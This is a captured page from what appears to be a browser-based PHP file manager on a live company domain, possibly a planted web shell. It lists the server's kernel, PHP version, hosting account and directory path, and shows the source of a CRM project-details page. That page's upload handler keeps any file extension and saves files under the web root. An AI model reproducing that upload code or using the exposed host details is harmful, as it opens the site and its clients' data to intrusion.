Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-503.34.1.el9_5.x86_64

PHP Version:

8.2.30

User:

u329947844

Directory:

/home/u329947844/domains/rutzotech.com/public_html/ems/employee/manager

Free Space:

10.17 TB

🔧 Quick Actions

✏️ Editing: project_details.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
<title>CRM | rutzo Admin Dashboard</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta content="A fully featured admin theme which can be used to build CRM, CMS, etc." name="description">
    <meta content="Coderthemes" name="author">

<?php 
        session_start();
        include("db.php");
        include("includes/nav.php");

// Check if project ID is provided
        if (!isset($_GET['id']) || !is_numeric($_GET['id'])) {
            header("Location: task.php");
            exit();
        }

$project_id = (int)$_GET['id'];

// Fetch project details
        $project_query = "SELECT p.*, c.company_name AS client_name, c.email AS client_email, 
                         c.phone AS client_phone, u.name AS manager_name
                         FROM projects p
                         LEFT JOIN clients c ON p.client_id = c.id
                         LEFT JOIN users u ON p.manager_id = u.id
                         WHERE p.id = ?";
                         
        $stmt = mysqli_prepare($conn, $project_query);
        mysqli_stmt_bind_param($stmt, "i", $project_id);
        mysqli_stmt_execute($stmt);
        $project_result = mysqli_stmt_get_result($stmt);

if (mysqli_num_rows($project_result) === 0) {
            mysqli_stmt_close($stmt);
            header("Location: task.php");
            exit();
        }

// FIXED LINE: Use correct variable $project_result
        $project = mysqli_fetch_assoc($project_result);
        mysqli_stmt_close($stmt);
        ?>

<?php include("includes/sidebar.php"); ?>

<div class="content-page">
            <div class="content container-fluid">
                <div class="row">
                    <div class="col-12">
                        <div class="page-title-box">
                            <h4 class="page-title">Project Details</h4>
                        </div>
                    </div>
                </div>

<div class="row mt-3">
                                    <div class="col-md-6">
                                        <h5 class="font-size-14">Start Date</h5>
                                        <p><?php echo htmlspecialchars($project['start_date'] ?? 'Not set'); ?></p>
                                    </div>
                                    <div class="col-md-6">
                                        <h5 class="font-size-14">End Date</h5>
                                        <p><?php echo htmlspecialchars($project['end_date'] ?? 'Not set'); ?></p>
                                    </div>
                                </div>

<div class="row">
                                    <div class="col-md-6">
                                        <h5 class="font-size-14">Budget</h5>
                                        <p>₹<?php echo number_format($project['budget'] ?? 0, 2); ?></p>
                                    </div>
                                    <div class="col-md-6">
                                        <h5 class="font-size-14">Project Manager</h5>
                                        <p><?php echo htmlspecialchars($project['manager_name'] ?? 'Not assigned'); ?></p>
                                    </div>
                                </div>

<div class="mb-3">
                                    <h5 class="font-size-14">Client Information</h5>
                                    <div class="d-flex align-items-start mt-2">
                                        <div class="flex-grow-1">
                                            <p class="mb-1 fw-bold"><?php echo htmlspecialchars($project['client_name'] ?? 'No client'); ?></p>
                                            <p class="mb-1 text-muted"><?php echo htmlspecialchars($project['client_email'] ?? ''); ?></p>
                                            <p class="mb-0 text-muted"><?php echo htmlspecialchars($project['client_phone'] ?? ''); ?></p>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>

<div class="card">
    <div class="card-body">
        <h4 class="header-title mb-3">Project Tasks</h4>
        <div class="table-responsive">
            <table class="table table-centered table-nowrap mb-0" id="projectTasksTable">
                <thead class="table-light">
                    <tr>
                        <th>Task</th>
                        <th>Assigned To</th>
                        <th>Due Date</th>
                        <th>Status</th>
                        <th style="width: 160px;">Action</th> 
                    </tr>
                </thead>
                <tbody>
                    <?php
                    $tasks_query = "SELECT pt.*, u.name AS employee_name
                                  FROM project_tasks pt
                                  LEFT JOIN users u ON pt.assigned_to = u.id
                                  WHERE pt.project_id = ?
                                  ORDER BY pt.due_date ASC";

$stmt = mysqli_prepare($conn, $tasks_query);
                    mysqli_stmt_bind_param($stmt, "i", $project_id);
                    mysqli_stmt_execute($stmt);
                    $tasks_result = mysqli_stmt_get_result($stmt);

if (mysqli_num_rows($tasks_result) > 0) {
                        while ($task = mysqli_fetch_assoc($tasks_result)) {
                            $status_class = $task['status'] == 'done' ? 'success' :
                                           ($task['status'] == 'in_progress' ? 'info' : 'warning');
                            $status_text = ucwords(str_replace('_', ' ', $task['status']));
                    ?>
                            <tr>
                                <td><?php echo htmlspecialchars($task['task_name']); ?></td>
                                <td><?php echo htmlspecialchars($task['employee_name'] ?? 'Unassigned'); ?></td>
                                <td><?php echo $task['due_date'] ? htmlspecialchars($task['due_date']) : '-'; ?></td>
                                <td><span class="badge bg-<?php echo $status_class; ?>"><?php echo $status_text; ?></span></td>
                                <td>
                                    <form method="POST" class="d-inline">
                                        <input type="hidden" name="task_id" value="<?php echo $task['id']; ?>">
                                        <select name="status" class="form-select form-select-sm d-inline-block w-auto">
                                            <option value="todo" <?php echo $task['status']=='todo' ? 'selected':''; ?>>To Do</option>
                                            <option value="in_progress" <?php echo $task['status']=='in_progress' ? 'selected':''; ?>>In Progress</option>
                                            <option value="done" <?php echo $task['status']=='done' ? 'selected':''; ?>>Done</option>
                                        </select>
                                        <button type="submit" name="update_status" class="btn btn-sm btn-primary ms-1">Update</button>
                                    </form>
                                </td>
                            </tr>
                    <?php
                        }
                    } else {
                        // This row now has exactly 5 columns → no DataTables warning
                    ?>
                        <tr>
                            <td colspan="5" class="text-center text-muted py-4">
                                No tasks found for this project
                            </td>
                        </tr>
                    <?php
                    }
                    mysqli_stmt_close($stmt);
                    ?>
                </tbody>
            </table>
        </div>
    </div>
</div>
                    </div>

<div class="col-lg-4">
                        
                        <div class="card">
                            <div class="card-body">
                                <h4 class="header-title mb-3">Project Documents</h4>

<?php
                                // Handle document upload
                                if (isset($_POST['upload_document'])) {
                                    $upload_dir = "Uploads/";
                                    if (!is_dir($upload_dir)) mkdir($upload_dir, 0755, true);

$file = $_FILES['project_file'];
                                    $description = $_POST['description'] ?? '';
                                    $file_name = uniqid() . '_' . basename($file['name']);
                                    $file_path = $upload_dir . $file_name;

if (move_uploaded_file($file['tmp_name'], $file_path)) {
                                        $stmt = mysqli_prepare($conn, "INSERT INTO documents (project_id, uploaded_by, file_path, file_type, description) VALUES (?, ?, ?, ?, ?)");
                                        $uploaded_by = $_SESSION['user_id'] ?? 0;
                                        mysqli_stmt_bind_param($stmt, "iisss", $project_id, $uploaded_by, $file_path, $file['type'], $description);
                                        mysqli_stmt_execute($stmt);
                                        echo "<div class='alert alert-success'>Document uploaded!</div>";
                                    } else {
                                        echo "<div class='alert alert-danger'>File upload failed.</div>";
                                    }
                                }

// Update task status
                                if (isset($_POST['update_status'])) {
                                    $task_id = (int)$_POST['task_id'];
                                    $status = $_POST['status'];
                                    $stmt = mysqli_prepare($conn, "UPDATE project_tasks SET status = ? WHERE id = ?");
                                    mysqli_stmt_bind_param($stmt, "si", $status, $task_id);
                                    mysqli_stmt_execute($stmt);
                                    echo "<script>window.location.reload();</script>";
                                }
                                ?>

<div class="table-responsive mb-3">
                                    <table class="table table-sm table-centered">
                                        <tbody>
                                            <?php
                                            $docs_query = "SELECT d.*, u.name AS uploaded_by_name FROM documents d LEFT JOIN users u ON d.uploaded_by = u.id WHERE d.project_id = ?";
                                            $stmt = mysqli_prepare($conn, $docs_query);
                                            mysqli_stmt_bind_param($stmt, "i", $project_id);
                                            mysqli_stmt_execute($stmt);
                                            $docs_result = mysqli_stmt_get_result($stmt);

if (mysqli_num_rows($docs_result) > 0) {
                                                while ($doc = mysqli_fetch_assoc($docs_result)) {
                                                    $icon = str_contains($doc['file_type'], 'pdf') ? 'file-pdf' : 
                                                           (str_contains($doc['file_type'], 'image') ? 'file-image' : 'file-alt');
                                                    echo "<tr>
                                                            <td><i class='uil uil-{$icon}'></i> " . htmlspecialchars(basename($doc['file_path'])) . "</td>
                                                            <td><a href='{$doc['file_path']}' download class='btn btn-sm btn-primary'>Download</a></td>
                                                          </tr>";
                                                }
                                            } else {
                                                echo "<tr><td colspan='2' class='text-center text-muted'>No documents</td></tr>";
                                            }
                                            mysqli_stmt_close($stmt);
                                            ?>
                                        </tbody>
                                    </table>
                                </div>

<form method="POST" enctype="multipart/form-data">
                                    <input type="file" name="project_file" class="form-control form-control-sm" required>
                                    <textarea name="description" class="form-control form-control-sm mt-2" rows="2" placeholder="Description (optional)"></textarea>
                                    <button type="submit" name="upload_document" class="btn btn-primary btn-sm mt-2">Upload Document</button>
                                </form>
                            </div>
                        </div>
                    </div>
                </div>
            </div>

<?php include("includes/footer.php"); ?>
        </div>
    </div>

<?php include("includes/theme.php"); ?>

$('#projectTasksTable').DataTable({
            pageLength: 10,
            responsive: true,
            order: [[2, 'asc']], // due date column
            columnDefs: [
                { targets: 4, orderable: false } // disable sorting on Action column
            ]
        });
    });
</script>
</body>
</html>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: project_details.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation